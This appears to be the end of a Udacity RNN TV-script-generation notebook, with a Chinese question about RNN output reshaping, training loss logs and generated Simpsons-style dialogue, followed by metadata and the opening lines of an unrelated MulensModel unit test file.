\u8f93\u5165\u5230\u5168\u8fde\u63a5\u5c42\u7684\u6570\u636e\u662f\u6bcf\u4e2a\u65f6\u95f4\u70b9\u8f93\u5165\u4e00\u6b21\u7684\u8fd8\u662f\u6bcf\u4e2asequence\u4e00\u8d77\u8fdb\u884c\u4e00\u6b21\u8f93\u5165\uff0c\u5c31\u662f\u8bf4\u5728RNN\u8f93\u51fa\u540e\uff0c\u6240\u8f93\u5165\u7684\u6570\u636e\u662f\u4e00\u8d77\u8f93\u5165\u7ed9\u5168\u8fde\u63a5\u5c42\u8fd8\u662f\u6309\u7167\u65f6\u95f4\u987a\u5e8f\u4f9d\u6b21\u8f93\u5165\u7ed9\u5168\u8fde\u63a5\u5c42\uff1f\u5982\u679c\u662f\u6309\u65f6\u95f4\u5e8f\u5217\u4f9d\u6b21\u8f93\u5165\u7ed9\u5168\u8fde\u63a5\u5c42\uff0c\u4e3a\u4ec0\u4e48\u5728Anna KaRNNa\u9879\u76ee\u4e2d\uff0c\u8981\u5bf9RNN\u7684\u8f93\u51fa\u8fdb\u884cconcat\u548creshape\u540e\u5229\u7528tf.matmul\u8ba1\u7b97logits\uff0c\u8fd9\u91cc\u5728reshape\u4e4b\u540e\uff0c\u5f20\u91cf\u4e0d\u5c31\u53d8\u62102\u7ef4\u7684\u4e86\u4e48\uff0c\u6700\u540e\u4e0d\u5c31\u53ea\u80fd\u6709\u4e00\u4e2a\u5b57\u6bcd\u7684\u9884\u6d4b\u4e86\u4e48\uff0c\u8fd9\u6837\u4e0d\u662f\u4e22\u5931\u4e86\u5e8f\u5217\u4fe1\u606f\u4e86\u4e48?\n\n# lstm_layers = 1\n#  \n# num_epochs = 100\n# \n# batch_size = 128\n# \n# rnn_size = 512\n# \n# embed_dim = 256\n# \n# seq_length = 25\n# \n# learning_rate = 0.002\n# \n# show_every_n_batches = 10\n# \n# - Epoch   0 Batch    0/21   train_loss = 8.826\n# - Epoch   0 Batch   10/21   train_loss = 6.155\n# - Epoch   0 Batch   20/21   train_loss = 5.792\n# - Epoch   1 Batch    9/21   train_loss = 5.363\n# - Epoch   1 Batch   19/21   train_loss = 5.112\n# - Epoch   2 Batch    8/21   train_loss = 4.848\n# - Epoch   2 Batch   18/21   train_loss = 4.717\n# - Epoch   3 Batch    7/21   train_loss = 4.503\n# - Epoch   3 Batch   17/21   train_loss = 4.426\n# - Epoch   4 Batch    6/21   train_loss = 4.311\n# - Epoch   4 Batch   16/21   train_loss = 4.225\n# - Epoch   5 Batch    5/21   train_loss = 3.997\n# - Epoch   5 Batch   15/21   train_loss = 3.895\n# - Epoch   6 Batch    4/21   train_loss = 3.877\n# - Epoch   6 Batch   14/21   train_loss = 3.598\n# - Epoch   7 Batch    3/21   train_loss = 3.587\n# - Epoch   7 Batch   13/21   train_loss = 3.441\n# - Epoch   8 Batch    2/21   train_loss = 3.424\n# - Epoch   8 Batch   12/21   train_loss = 3.212\n# - Epoch   9 Batch    1/21   train_loss = 3.093\n# - Epoch   9 Batch   11/21   train_loss = 2.976\n# - Epoch  10 Batch    0/21   train_loss = 2.948\n# - Epoch  10 Batch   10/21   train_loss = 2.799\n# - Epoch  10 Batch   20/21   train_loss = 2.851\n# - Epoch  11 Batch    9/21   train_loss = 2.652\n# - Epoch  11 Batch   19/21   train_loss = 2.557\n# - Epoch  12 Batch    8/21   train_loss = 2.587\n# - Epoch  12 Batch   18/21   train_loss = 2.466\n# - Epoch  13 Batch    7/21   train_loss = 2.422\n# - Epoch  13 Batch   17/21   train_loss = 2.288\n# - Epoch  14 Batch    6/21   train_loss = 2.264\n# - Epoch  14 Batch   16/21   train_loss = 2.189\n# - Epoch  15 Batch    5/21   train_loss = 2.186\n# - Epoch  15 Batch   15/21   train_loss = 2.116\n# - Epoch  16 Batch    4/21   train_loss = 2.048\n# - Epoch  16 Batch   14/21   train_loss = 1.926\n# - Epoch  17 Batch    3/21   train_loss = 1.914\n# - Epoch  17 Batch   13/21   train_loss = 1.920\n# - Epoch  18 Batch    2/21   train_loss = 1.937\n# - Epoch  18 Batch   12/21   train_loss = 1.827\n# - Epoch  19 Batch    1/21   train_loss = 1.764\n# - Epoch  19 Batch   11/21   train_loss = 1.764\n# - Epoch  20 Batch    0/21   train_loss = 1.749\n# - Epoch  20 Batch   10/21   train_loss = 1.660\n# - Epoch  20 Batch   20/21   train_loss = 1.704\n# - Epoch  21 Batch    9/21   train_loss = 1.560\n# - Epoch  21 Batch   19/21   train_loss = 1.488\n# - Epoch  22 Batch    8/21   train_loss = 1.515\n# - Epoch  22 Batch   18/21   train_loss = 1.504\n# - Epoch  23 Batch    7/21   train_loss = 1.462\n# - Epoch  23 Batch   17/21   train_loss = 1.365\n# - Epoch  24 Batch    6/21   train_loss = 1.352\n# - Epoch  24 Batch   16/21   train_loss = 1.247\n# - Epoch  25 Batch    5/21   train_loss = 1.283\n# - Epoch  25 Batch   15/21   train_loss = 1.265\n# - Epoch  26 Batch    4/21   train_loss = 1.148\n# - Epoch  26 Batch   14/21   train_loss = 1.135\n# - Epoch  27 Batch    3/21   train_loss = 1.125\n# - Epoch  27 Batch   13/21   train_loss = 1.102\n# - Epoch  28 Batch    2/21   train_loss = 1.112\n# - Epoch  28 Batch   12/21   train_loss = 0.989\n# - Epoch  29 Batch    1/21   train_loss = 0.958\n# - Epoch  29 Batch   11/21   train_loss = 0.997\n# - Epoch  30 Batch    0/21   train_loss = 0.970\n# - Epoch  30 Batch   10/21   train_loss = 0.948\n# - Epoch  30 Batch   20/21   train_loss = 0.923\n# - Epoch  31 Batch    9/21   train_loss = 0.880\n# - Epoch  31 Batch   19/21   train_loss = 0.833\n# - Epoch  32 Batch    8/21   train_loss = 0.894\n# - Epoch  32 Batch   18/21   train_loss = 0.856\n# - Epoch  33 Batch    7/21   train_loss = 0.784\n# - Epoch  33 Batch   17/21   train_loss = 0.826\n# - Epoch  34 Batch    6/21   train_loss = 0.789\n# - Epoch  34 Batch   16/21   train_loss = 0.736\n# - Epoch  35 Batch    5/21   train_loss = 0.731\n# - Epoch  35 Batch   15/21   train_loss = 0.722\n# - Epoch  36 Batch    4/21   train_loss = 0.651\n# - Epoch  36 Batch   14/21   train_loss = 0.654\n# - Epoch  37 Batch    3/21   train_loss = 0.640\n# - Epoch  37 Batch   13/21   train_loss = 0.633\n# - Epoch  38 Batch    2/21   train_loss = 0.653\n# - Epoch  38 Batch   12/21   train_loss = 0.590\n# - Epoch  39 Batch    1/21   train_loss = 0.576\n# - Epoch  39 Batch   11/21   train_loss = 0.594\n# - Epoch  40 Batch    0/21   train_loss = 0.599\n# - Epoch  40 Batch   10/21   train_loss = 0.538\n# - Epoch  40 Batch   20/21   train_loss = 0.526\n# - Epoch  41 Batch    9/21   train_loss = 0.514\n# - Epoch  41 Batch   19/21   train_loss = 0.509\n# - Epoch  42 Batch    8/21   train_loss = 0.538\n# - Epoch  42 Batch   18/21   train_loss = 0.512\n# - Epoch  43 Batch    7/21   train_loss = 0.539\n# - Epoch  43 Batch   17/21   train_loss = 0.502\n# - Epoch  44 Batch    6/21   train_loss = 0.474\n# - Epoch  44 Batch   16/21   train_loss = 0.456\n# - Epoch  45 Batch    5/21   train_loss = 0.457\n# - Epoch  45 Batch   15/21   train_loss = 0.438\n# - Epoch  46 Batch    4/21   train_loss = 0.413\n# - Epoch  46 Batch   14/21   train_loss = 0.392\n# - Epoch  47 Batch    3/21   train_loss = 0.411\n# - Epoch  47 Batch   13/21   train_loss = 0.402\n# - Epoch  48 Batch    2/21   train_loss = 0.433\n# - Epoch  48 Batch   12/21   train_loss = 0.368\n# - Epoch  49 Batch    1/21   train_loss = 0.361\n# - Epoch  49 Batch   11/21   train_loss = 0.383\n# - Epoch  50 Batch    0/21   train_loss = 0.399\n# - Epoch  50 Batch   10/21   train_loss = 0.347\n# - Epoch  50 Batch   20/21   train_loss = 0.363\n# - Epoch  51 Batch    9/21   train_loss = 0.358\n# - Epoch  51 Batch   19/21   train_loss = 0.350\n# - Epoch  52 Batch    8/21   train_loss = 0.375\n# - Epoch  52 Batch   18/21   train_loss = 0.337\n# - Epoch  53 Batch    7/21   train_loss = 0.340\n# - Epoch  53 Batch   17/21   train_loss = 0.354\n# - Epoch  54 Batch    6/21   train_loss = 0.349\n# - Epoch  54 Batch   16/21   train_loss = 0.319\n# - Epoch  55 Batch    5/21   train_loss = 0.331\n# - Epoch  55 Batch   15/21   train_loss = 0.329\n# - Epoch  56 Batch    4/21   train_loss = 0.306\n# - Epoch  56 Batch   14/21   train_loss = 0.283\n# - Epoch  57 Batch    3/21   train_loss = 0.319\n# - Epoch  57 Batch   13/21   train_loss = 0.290\n# - Epoch  58 Batch    2/21   train_loss = 0.329\n# - Epoch  58 Batch   12/21   train_loss = 0.285\n# - Epoch  59 Batch    1/21   train_loss = 0.290\n# - Epoch  59 Batch   11/21   train_loss = 0.285\n# - Epoch  60 Batch    0/21   train_loss = 0.274\n# - Epoch  60 Batch   10/21   train_loss = 0.240\n# - Epoch  60 Batch   20/21   train_loss = 0.264\n# - Epoch  61 Batch    9/21   train_loss = 0.276\n# - Epoch  61 Batch   19/21   train_loss = 0.272\n# - Epoch  62 Batch    8/21   train_loss = 0.277\n# - Epoch  62 Batch   18/21   train_loss = 0.266\n# - Epoch  63 Batch    7/21   train_loss = 0.259\n# - Epoch  63 Batch   17/21   train_loss = 0.253\n# - Epoch  64 Batch    6/21   train_loss = 0.243\n# - Epoch  64 Batch   16/21   train_loss = 0.250\n# - Epoch  65 Batch    5/21   train_loss = 0.246\n# - Epoch  65 Batch   15/21   train_loss = 0.247\n# - Epoch  66 Batch    4/21   train_loss = 0.231\n# - Epoch  66 Batch   14/21   train_loss = 0.231\n# - Epoch  67 Batch    3/21   train_loss = 0.247\n# - Epoch  67 Batch   13/21   train_loss = 0.229\n# - Epoch  68 Batch    2/21   train_loss = 0.252\n# - Epoch  68 Batch   12/21   train_loss = 0.217\n# - Epoch  69 Batch    1/21   train_loss = 0.222\n# - Epoch  69 Batch   11/21   train_loss = 0.227\n# - Epoch  70 Batch    0/21   train_loss = 0.226\n# - Epoch  70 Batch   10/21   train_loss = 0.205\n# - Epoch  70 Batch   20/21   train_loss = 0.225\n# - Epoch  71 Batch    9/21   train_loss = 0.236\n# - Epoch  71 Batch   19/21   train_loss = 0.236\n# - Epoch  72 Batch    8/21   train_loss = 0.234\n# - Epoch  72 Batch   18/21   train_loss = 0.240\n# - Epoch  73 Batch    7/21   train_loss = 0.216\n# - Epoch  73 Batch   17/21   train_loss = 0.214\n# - Epoch  74 Batch    6/21   train_loss = 0.219\n# - Epoch  74 Batch   16/21   train_loss = 0.217\n# - Epoch  75 Batch    5/21   train_loss = 0.228\n# - Epoch  75 Batch   15/21   train_loss = 0.212\n# - Epoch  76 Batch    4/21   train_loss = 0.239\n# - Epoch  76 Batch   14/21   train_loss = 0.207\n# - Epoch  77 Batch    3/21   train_loss = 0.226\n# - Epoch  77 Batch   13/21   train_loss = 0.200\n# - Epoch  78 Batch    2/21   train_loss = 0.234\n# - Epoch  78 Batch   12/21   train_loss = 0.194\n# - Epoch  79 Batch    1/21   train_loss = 0.206\n# - Epoch  79 Batch   11/21   train_loss = 0.210\n# - Epoch  80 Batch    0/21   train_loss = 0.230\n# - Epoch  80 Batch   10/21   train_loss = 0.196\n# - Epoch  80 Batch   20/21   train_loss = 0.192\n# - Epoch  81 Batch    9/21   train_loss = 0.210\n# - Epoch  81 Batch   19/21   train_loss = 0.199\n# - Epoch  82 Batch    8/21   train_loss = 0.207\n# - Epoch  82 Batch   18/21   train_loss = 0.201\n# - Epoch  83 Batch    7/21   train_loss = 0.203\n# - Epoch  83 Batch   17/21   train_loss = 0.195\n# - Epoch  84 Batch    6/21   train_loss = 0.219\n# - Epoch  84 Batch   16/21   train_loss = 0.203\n# - Epoch  85 Batch    5/21   train_loss = 0.195\n# - Epoch  85 Batch   15/21   train_loss = 0.208\n# - Epoch  86 Batch    4/21   train_loss = 0.196\n# - Epoch  86 Batch   14/21   train_loss = 0.183\n# - Epoch  87 Batch    3/21   train_loss = 0.204\n# - Epoch  87 Batch   13/21   train_loss = 0.192\n# - Epoch  88 Batch    2/21   train_loss = 0.214\n# - Epoch  88 Batch   12/21   train_loss = 0.195\n# - Epoch  89 Batch    1/21   train_loss = 0.205\n# - Epoch  89 Batch   11/21   train_loss = 0.198\n# - Epoch  90 Batch    0/21   train_loss = 0.206\n# - Epoch  90 Batch   10/21   train_loss = 0.182\n# - Epoch  90 Batch   20/21   train_loss = 0.192\n# - Epoch  91 Batch    9/21   train_loss = 0.204\n# - Epoch  91 Batch   19/21   train_loss = 0.176\n# - Epoch  92 Batch    8/21   train_loss = 0.199\n# - Epoch  92 Batch   18/21   train_loss = 0.197\n# - Epoch  93 Batch    7/21   train_loss = 0.195\n# - Epoch  93 Batch   17/21   train_loss = 0.186\n# - Epoch  94 Batch    6/21   train_loss = 0.181\n# - Epoch  94 Batch   16/21   train_loss = 0.190\n# - Epoch  95 Batch    5/21   train_loss = 0.188\n# - Epoch  95 Batch   15/21   train_loss = 0.181\n# - Epoch  96 Batch    4/21   train_loss = 0.186\n# - Epoch  96 Batch   14/21   train_loss = 0.179\n# - Epoch  97 Batch    3/21   train_loss = 0.207\n# - Epoch  97 Batch   13/21   train_loss = 0.189\n# - Epoch  98 Batch    2/21   train_loss = 0.220\n# - Epoch  98 Batch   12/21   train_loss = 0.187\n# - Epoch  99 Batch    1/21   train_loss = 0.200\n# - Epoch  99 Batch   11/21   train_loss = 0.194\n# - Model Trained and Saved\n# \n# \n# moe_szyslak:(looking at homer) you're right. he needs some professional help...\n# duffman: ooh, someone is down in the sack\n# homer_simpson: i can't believe you don't be your foot, homer.\n# homer_simpson: i had the greatest gift of all, a little girl who could pick me to go halvsies on a ring.\n# edna_krabappel-flanders: seymour...(ad lib singing) my bar could be in.\n# homer_simpson:(derisive snort) kent brockman!\n# homer_simpson:(touched) aw, that's my fourth grade teacher!\n# carl_carlson: are you gonna be okay?\n# barney_gumble:(reciting)\" your infatuation is based on a physical attraction. talk to the woman of a way to paris...\n# homer_simpson:(chuckles at injury) yeah, but at least we're hearing some interesting conversation from those two book clubs.\n# book_club_member: well, well, look who's it.\n# moe_szyslak:(amid men's reactions) you got that right!\n# seymour_skinner: edna won't even let me in here?\n# moe_szyslak:(nods) keep my tail\n\n# lstm_layers = 1\n#  \n# \n# num_epochs = 100\n# \n# batch_size = 128\n# \n# rnn_size = 512\n# \n# embed_dim = 256\n# \n# seq_length = 25\n# \n# learning_rate = 0.005\n# \n# show_every_n_batches = 10\n# \n# - Epoch   0 Batch    0/21   train_loss = 8.821\n# - Epoch   0 Batch   10/21   train_loss = 6.080\n# - Epoch   0 Batch   20/21   train_loss = 5.732\n# - Epoch   1 Batch    9/21   train_loss = 5.324\n# - Epoch   1 Batch   19/21   train_loss = 5.043\n# - Epoch   2 Batch    8/21   train_loss = 4.830\n# - Epoch   2 Batch   18/21   train_loss = 4.676\n# - Epoch   3 Batch    7/21   train_loss = 4.487\n# - Epoch   3 Batch   17/21   train_loss = 4.379\n# - Epoch   4 Batch    6/21   train_loss = 4.250\n# - Epoch   4 Batch   16/21   train_loss = 4.130\n# - Epoch   5 Batch    5/21   train_loss = 3.969\n# - Epoch   5 Batch   15/21   train_loss = 3.855\n# - Epoch   6 Batch    4/21   train_loss = 3.836\n# - Epoch   6 Batch   14/21   train_loss = 3.543\n# - Epoch   7 Batch    3/21   train_loss = 3.556\n# - Epoch   7 Batch   13/21   train_loss = 3.392\n# - Epoch   8 Batch    2/21   train_loss = 3.375\n# - Epoch   8 Batch   12/21   train_loss = 3.161\n# - Epoch   9 Batch    1/21   train_loss = 3.066\n# - Epoch   9 Batch   11/21   train_loss = 2.921\n# - Epoch  10 Batch    0/21   train_loss = 2.914\n# - Epoch  10 Batch   10/21   train_loss = 2.747\n# - Epoch  10 Batch   20/21   train_loss = 2.785\n# - Epoch  11 Batch    9/21   train_loss = 2.561\n# - Epoch  11 Batch   19/21   train_loss = 2.517\n# - Epoch  12 Batch    8/21   train_loss = 2.472\n# - Epoch  12 Batch   18/21   train_loss = 2.465\n# - Epoch  13 Batch    7/21   train_loss = 2.287\n# - Epoch  13 Batch   17/21   train_loss = 2.204\n# - Epoch  14 Batch    6/21   train_loss = 2.219\n# - Epoch  14 Batch   16/21   train_loss = 2.129\n# - Epoch  15 Batch    5/21   train_loss = 2.144\n# - Epoch  15 Batch   15/21   train_loss = 2.043\n# - Epoch  16 Batch    4/21   train_loss = 1.970\n# - Epoch  16 Batch   14/21   train_loss = 1.869\n# - Epoch  17 Batch    3/21   train_loss = 1.856\n# - Epoch  17 Batch   13/21   train_loss = 1.842\n# - Epoch  18 Batch    2/21   train_loss = 1.911\n# - Epoch  18 Batch   12/21   train_loss = 1.711\n# - Epoch  19 Batch    1/21   train_loss = 1.657\n# - Epoch  19 Batch   11/21   train_loss = 1.650\n# - Epoch  20 Batch    0/21   train_loss = 1.666\n# - Epoch  20 Batch   10/21   train_loss = 1.575\n# - Epoch  20 Batch   20/21   train_loss = 1.571\n# - Epoch  21 Batch    9/21   train_loss = 1.490\n# - Epoch  21 Batch   19/21   train_loss = 1.444\n# - Epoch  22 Batch    8/21   train_loss = 1.440\n# - Epoch  22 Batch   18/21   train_loss = 1.395\n# - Epoch  23 Batch    7/21   train_loss = 1.361\n# - Epoch  23 Batch   17/21   train_loss = 1.257\n# - Epoch  24 Batch    6/21   train_loss = 1.269\n# - Epoch  24 Batch   16/21   train_loss = 1.220\n# - Epoch  25 Batch    5/21   train_loss = 1.271\n# - Epoch  25 Batch   15/21   train_loss = 1.198\n# - Epoch  26 Batch    4/21   train_loss = 1.149\n# - Epoch  26 Batch   14/21   train_loss = 1.095\n# - Epoch  27 Batch    3/21   train_loss = 1.073\n# - Epoch  27 Batch   13/21   train_loss = 1.073\n# - Epoch  28 Batch    2/21   train_loss = 1.104\n# - Epoch  28 Batch   12/21   train_loss = 1.032\n# - Epoch  29 Batch    1/21   train_loss = 0.980\n# - Epoch  29 Batch   11/21   train_loss = 1.006\n# - Epoch  30 Batch    0/21   train_loss = 0.974\n# - Epoch  30 Batch   10/21   train_loss = 0.959\n# - Epoch  30 Batch   20/21   train_loss = 0.975\n# - Epoch  31 Batch    9/21   train_loss = 0.930\n# - Epoch  31 Batch   19/21   train_loss = 0.915\n# - Epoch  32 Batch    8/21   train_loss = 0.935\n# - Epoch  32 Batch   18/21   train_loss = 0.916\n# - Epoch  33 Batch    7/21   train_loss = 0.838\n# - Epoch  33 Batch   17/21   train_loss = 0.845\n# - Epoch  34 Batch    6/21   train_loss = 0.792\n# - Epoch  34 Batch   16/21   train_loss = 0.771\n# - Epoch  35 Batch    5/21   train_loss = 0.800\n# - Epoch  35 Batch   15/21   train_loss = 0.770\n# - Epoch  36 Batch    4/21   train_loss = 0.692\n# - Epoch  36 Batch   14/21   train_loss = 0.688\n# - Epoch  37 Batch    3/21   train_loss = 0.674\n# - Epoch  37 Batch   13/21   train_loss = 0.640\n# - Epoch  38 Batch    2/21   train_loss = 0.694\n# - Epoch  38 Batch   12/21   train_loss = 0.615\n# - Epoch  39 Batch    1/21   train_loss = 0.592\n# - Epoch  39 Batch   11/21   train_loss = 0.601\n# - Epoch  40 Batch    0/21   train_loss = 0.602\n# - Epoch  40 Batch   10/21   train_loss = 0.559\n# - Epoch  40 Batch   20/21   train_loss = 0.542\n# - Epoch  41 Batch    9/21   train_loss = 0.529\n# - Epoch  41 Batch   19/21   train_loss = 0.502\n# - Epoch  42 Batch    8/21   train_loss = 0.499\n# - Epoch  42 Batch   18/21   train_loss = 0.510\n# - Epoch  43 Batch    7/21   train_loss = 0.489\n# - Epoch  43 Batch   17/21   train_loss = 0.459\n# - Epoch  44 Batch    6/21   train_loss = 0.461\n# - Epoch  44 Batch   16/21   train_loss = 0.459\n# - Epoch  45 Batch    5/21   train_loss = 0.459\n# - Epoch  45 Batch   15/21   train_loss = 0.441\n# - Epoch  46 Batch    4/21   train_loss = 0.408\n# - Epoch  46 Batch   14/21   train_loss = 0.384\n# - Epoch  47 Batch    3/21   train_loss = 0.416\n# - Epoch  47 Batch   13/21   train_loss = 0.393\n# - Epoch  48 Batch    2/21   train_loss = 0.435\n# - Epoch  48 Batch   12/21   train_loss = 0.402\n# - Epoch  49 Batch    1/21   train_loss = 0.382\n# - Epoch  49 Batch   11/21   train_loss = 0.401\n# - Epoch  50 Batch    0/21   train_loss = 0.391\n# - Epoch  50 Batch   10/21   train_loss = 0.354\n# - Epoch  50 Batch   20/21   train_loss = 0.357\n# - Epoch  51 Batch    9/21   train_loss = 0.365\n# - Epoch  51 Batch   19/21   train_loss = 0.361\n# - Epoch  52 Batch    8/21   train_loss = 0.354\n# - Epoch  52 Batch   18/21   train_loss = 0.331\n# - Epoch  53 Batch    7/21   train_loss = 0.335\n# - Epoch  53 Batch   17/21   train_loss = 0.313\n# - Epoch  54 Batch    6/21   train_loss = 0.334\n# - Epoch  54 Batch   16/21   train_loss = 0.325\n# - Epoch  55 Batch    5/21   train_loss = 0.332\n# - Epoch  55 Batch   15/21   train_loss = 0.310\n# - Epoch  56 Batch    4/21   train_loss = 0.329\n# - Epoch  56 Batch   14/21   train_loss = 0.283\n# - Epoch  57 Batch    3/21   train_loss = 0.299\n# - Epoch  57 Batch   13/21   train_loss = 0.287\n# - Epoch  58 Batch    2/21   train_loss = 0.307\n# - Epoch  58 Batch   12/21   train_loss = 0.284\n# - Epoch  59 Batch    1/21   train_loss = 0.294\n# - Epoch  59 Batch   11/21   train_loss = 0.290\n# - Epoch  60 Batch    0/21   train_loss = 0.298\n# - Epoch  60 Batch   10/21   train_loss = 0.259\n# - Epoch  60 Batch   20/21   train_loss = 0.277\n# - Epoch  61 Batch    9/21   train_loss = 0.283\n# - Epoch  61 Batch   19/21   train_loss = 0.263\n# - Epoch  62 Batch    8/21   train_loss = 0.271\n# - Epoch  62 Batch   18/21   train_loss = 0.265\n# - Epoch  63 Batch    7/21   train_loss = 0.272\n# - Epoch  63 Batch   17/21   train_loss = 0.254\n# - Epoch  64 Batch    6/21   train_loss = 0.261\n# - Epoch  64 Batch   16/21   train_loss = 0.264\n# - Epoch  65 Batch    5/21   train_loss = 0.271\n# - Epoch  65 Batch   15/21   train_loss = 0.255\n# - Epoch  66 Batch    4/21   train_loss = 0.251\n# - Epoch  66 Batch   14/21   train_loss = 0.246\n# - Epoch  67 Batch    3/21   train_loss = 0.253\n# - Epoch  67 Batch   13/21   train_loss = 0.234\n# - Epoch  68 Batch    2/21   train_loss = 0.258\n# - Epoch  68 Batch   12/21   train_loss = 0.226\n# - Epoch  69 Batch    1/21   train_loss = 0.237\n# - Epoch  69 Batch   11/21   train_loss = 0.244\n# - Epoch  70 Batch    0/21   train_loss = 0.254\n# - Epoch  70 Batch   10/21   train_loss = 0.222\n# - Epoch  70 Batch   20/21   train_loss = 0.221\n# - Epoch  71 Batch    9/21   train_loss = 0.234\n# - Epoch  71 Batch   19/21   train_loss = 0.234\n# - Epoch  72 Batch    8/21   train_loss = 0.230\n# - Epoch  72 Batch   18/21   train_loss = 0.235\n# - Epoch  73 Batch    7/21   train_loss = 0.229\n# - Epoch  73 Batch   17/21   train_loss = 0.215\n# - Epoch  74 Batch    6/21   train_loss = 0.231\n# - Epoch  74 Batch   16/21   train_loss = 0.223\n# - Epoch  75 Batch    5/21   train_loss = 0.224\n# - Epoch  75 Batch   15/21   train_loss = 0.227\n# - Epoch  76 Batch    4/21   train_loss = 0.216\n# - Epoch  76 Batch   14/21   train_loss = 0.201\n# - Epoch  77 Batch    3/21   train_loss = 0.210\n# - Epoch  77 Batch   13/21   train_loss = 0.206\n# - Epoch  78 Batch    2/21   train_loss = 0.245\n# - Epoch  78 Batch   12/21   train_loss = 0.211\n# - Epoch  79 Batch    1/21   train_loss = 0.210\n# - Epoch  79 Batch   11/21   train_loss = 0.227\n# - Epoch  80 Batch    0/21   train_loss = 0.223\n# - Epoch  80 Batch   10/21   train_loss = 0.200\n# - Epoch  80 Batch   20/21   train_loss = 0.212\n# - Epoch  81 Batch    9/21   train_loss = 0.220\n# - Epoch  81 Batch   19/21   train_loss = 0.194\n# - Epoch  82 Batch    8/21   train_loss = 0.221\n# - Epoch  82 Batch   18/21   train_loss = 0.216\n# - Epoch  83 Batch    7/21   train_loss = 0.212\n# - Epoch  83 Batch   17/21   train_loss = 0.228\n# - Epoch  84 Batch    6/21   train_loss = 0.219\n# - Epoch  84 Batch   16/21   train_loss = 0.213\n# - Epoch  85 Batch    5/21   train_loss = 0.225\n# - Epoch  85 Batch   15/21   train_loss = 0.221\n# - Epoch  86 Batch    4/21   train_loss = 0.217\n# - Epoch  86 Batch   14/21   train_loss = 0.202\n# - Epoch  87 Batch    3/21   train_loss = 0.226\n# - Epoch  87 Batch   13/21   train_loss = 0.210\n# - Epoch  88 Batch    2/21   train_loss = 0.243\n# - Epoch  88 Batch   12/21   train_loss = 0.206\n# - Epoch  89 Batch    1/21   train_loss = 0.222\n# - Epoch  89 Batch   11/21   train_loss = 0.230\n# - Epoch  90 Batch    0/21   train_loss = 0.234\n# - Epoch  90 Batch   10/21   train_loss = 0.212\n# - Epoch  90 Batch   20/21   train_loss = 0.210\n# - Epoch  91 Batch    9/21   train_loss = 0.242\n# - Epoch  91 Batch   19/21   train_loss = 0.219\n# - Epoch  92 Batch    8/21   train_loss = 0.228\n# - Epoch  92 Batch   18/21   train_loss = 0.225\n# - Epoch  93 Batch    7/21   train_loss = 0.222\n# - Epoch  93 Batch   17/21   train_loss = 0.203\n# - Epoch  94 Batch    6/21   train_loss = 0.223\n# - Epoch  94 Batch   16/21   train_loss = 0.215\n# - Epoch  95 Batch    5/21   train_loss = 0.224\n# - Epoch  95 Batch   15/21   train_loss = 0.218\n# - Epoch  96 Batch    4/21   train_loss = 0.226\n# - Epoch  96 Batch   14/21   train_loss = 0.209\n# - Epoch  97 Batch    3/21   train_loss = 0.243\n# - Epoch  97 Batch   13/21   train_loss = 0.218\n# - Epoch  98 Batch    2/21   train_loss = 0.251\n# - Epoch  98 Batch   12/21   train_loss = 0.217\n# - Epoch  99 Batch    1/21   train_loss = 0.231\n# - Epoch  99 Batch   11/21   train_loss = 0.236\n# - Model Trained and Saved\n# \n# moe_szyslak:(uneasy) oh, i can't wait till you guys get to uh...\n# thought_bubble_lenny: yep, that's what we'd do, moe.\n# moe_szyslak:(snorts) nobody does.\n# kemi:(yawns) i haven't eaten all day.\n# moe_szyslak: don't eat those eggs, homer.\n# homer_simpson: you came to the right guy. i'll straighten ya out...(nervous laugh)\n# moe_szyslak:(sniffles, then, impatient) if they was me!\n# homer_simpson:(angrily) moe, what are you doing?\n# homer_simpson:(slyly) but i think does this the springfield lottery.\n# homer_simpson:(sighs) well, i aims to please. hey,... uh...\n# agent_miller: homer simpson?(flashing badge)\n# homer_simpson:(to scully) you are one at me!\n# moe_szyslak: now, you know i can't sell you no beer till two knives.\n# lenny_leonard:(mid-conversation) so who do you like, the padres or is it?\n# moe_szyslak:(re: homer) hey, i\n# \n", "meta": {"hexsha": "93b087d5b6e1376117ce57e0ccec2b275031e8b5", "size": 49642, "ext": "py", "lang": "Python", "max_stars_repo_path": "P3/dlnd_tv_script_generation.py", "max_stars_repo_name": "zqyadam/udacity_deeplearning_projects", "max_stars_repo_head_hexsha": "560a769c854b26c6dc941cb1afbecb7394b11b69", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "P3/dlnd_tv_script_generation.py", "max_issues_repo_name": "zqyadam/udacity_deeplearning_projects", "max_issues_repo_head_hexsha": "560a769c854b26c6dc941cb1afbecb7394b11b69", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "P3/dlnd_tv_script_generation.py", "max_forks_repo_name": "zqyadam/udacity_deeplearning_projects", "max_forks_repo_head_hexsha": "560a769c854b26c6dc941cb1afbecb7394b11b69", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.1016442451, "max_line_length": 603, "alphanum_fraction": 0.6623625156, "include": true, "reason": "import numpy", "num_tokens": 18020, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356685373537454, "lm_q2_score": 0.21206879937726766, "lm_q1q2_score": 0.08558393814012227}}
{"text": "import numpy as np\nfrom numpy.testing import assert_almost_equal as almost\nimport unittest\nimport os.path\n\nimport MulensModel as mm\n\ndir_1 = os.path.join(mm.DATA_PATH, 'photometry_files', 'OB140939')\ndir_2 = os.path.join(mm.DATA_PATH, 'unit_test_files')\ndir_3 = os.path.join(mm.DATA_PATH, 'ephemeris_files')\n\nSAMPLE_FILE_02 = os.path.join(dir_1, 'ob140939_OGLE.dat')  # HJD'\nSAMPLE_FILE_02_REF = os.path.join(dir_2, 'ob140939_OGLE_ref_v1.dat')  # HJD'\nSAMPLE_FILE_03 = os.path.join(dir_1, 'ob140939_Spitzer.dat')  # HJD'\nSAMPLE_FILE_03_EPH = os.path.join(dir_3, 'Spitzer_ephemeris_01.dat')  # UTC\nSAMPLE_FILE_03_REF = os.path.join(dir_2, 'ob140939_Spitzer_ref_v1.dat')  # HJD'\nSAMPLE_FILE_04_WF = os.path.join(mm.DATA_PATH, 'WFIRST_1827.dat')\n\n# Note: default precision for assert_almost_equal (aka almost) is decimal = 7\n\n\ndef generate_model():\n    \"\"\"\n    returns a model, time array, and magnification\n    \"\"\"\n\n    # 